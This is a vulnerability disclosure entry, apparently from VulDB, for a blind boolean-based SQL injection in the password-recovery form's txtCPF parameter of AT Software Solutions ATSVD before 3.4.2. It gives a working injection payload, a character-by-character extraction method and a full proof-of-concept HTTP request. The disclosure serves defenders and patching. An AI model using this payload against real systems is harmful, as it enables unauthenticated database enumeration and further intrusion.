| Title | AT Software Solutions ATSVD < 3.4.2 Blind Boolean-Based SQL Injection |
|---|
| Description | Blind Boolean-Based SQL Injection in ATSVD < 3.4.2
Vendor: AT Software Solutions // https://atgroup.com.br
Affected Product: ATSVD
Affected Versions: < 3.4.2
Vulnerability Type: Blind Boolean-Based SQL Injection
CVSS Score: 7.5
Summary:
A Blind Boolean-Based SQL Injection vulnerability has been identified in the ATSVD system by AT Software Solutions, affecting versions < 3.4.2. The vulnerability exists in the txtCPF parameter of the following endpoint /, in "Esqueceu a senha?" option:
An attacker can exploit this vulnerability to infer database information using Boolean-based SQL Injection techniques.
Exploitation:
The vulnerability can be exploited using the following payload:
','',''),'','')+AND+(CASE+WHEN+(SUBSTRING(DB_NAME(),X,1)='Y')+THEN+1/0+ELSE+0+END=1)--
If the query is correct, the response code is 500.
If not, the response code is 200.
This allows an attacker to extract database information one character at a time, its just needed to change the argument X to the database name index and Y to the character.
POC
POST / HTTP/2
Host: X.X.X.X
Content-Length: 665
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: X.X.X.X
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=5kYTIGEtgfmzp8wAZH57UEEiO7mRZ8K5kJ3fzluUd6g5vomzFPsK1wfBDYiOs6HLXB2oNs3O%2BLjUQvp1PHJ0YjBZXUjz3CCwB7MQfh7yH03hVe%2BK%2BbXBOOUbbOR6tusxImTR72Q0rLySXaUobIRGLaVhhtrMAWHMz%2BGoPpeZ3YB%2FlsMZY3W4H%2BDz9JbuMOdG%2FawuODzGBZqLnQpqqY2VAA%3D%3D&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=djIUXneF1vVZK3AKpAjO%2BhuqmeDqcB1SLk%2Bv4x0731nw0LKN%2FbF3DJQSRVvey0pXgxJAHBmm0GTqKY3%2FApNu8ZuwKPaEHCzhtXW5%2BEsKPxHn7u%2BdDP034WR%2FEDExhL0tS2MiRkWU6TYF%2B5fHOAKdn%2Bc2AmvqwwjVSOvXvZPOZ%2FWrYpenWmLKx%2BhNvVSEWSIqinYv1tP97AyO071OaK1cZw%3D%3D&txtUsuario=&txtSenha=&txtCPF=','',''),'','')+AND+(1=1/0)--&cmdRecuperarSenha=Recuperar+Senha%21
Impact:
No authentication or privileges are required.
The attack can be performed remotely.
The attacker can infer database schema details, potentially leading to further exploitation.
By Yago Martins |
|---|
| Source | ⚠️ https://github.com/yago3008/cves |
|---|
| User | y4g0 (UID 80480) |
|---|
| Submission | 02/24/2025 19:43 (1 Year ago) |
|---|
| Moderation | 03/08/2025 08:24 (12 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 299006 [AT Software Solutions ATSVD up to 3.4.1 Esqueceu a senha txtCPF sql injection] |
|---|
| Points | 20 |
|---|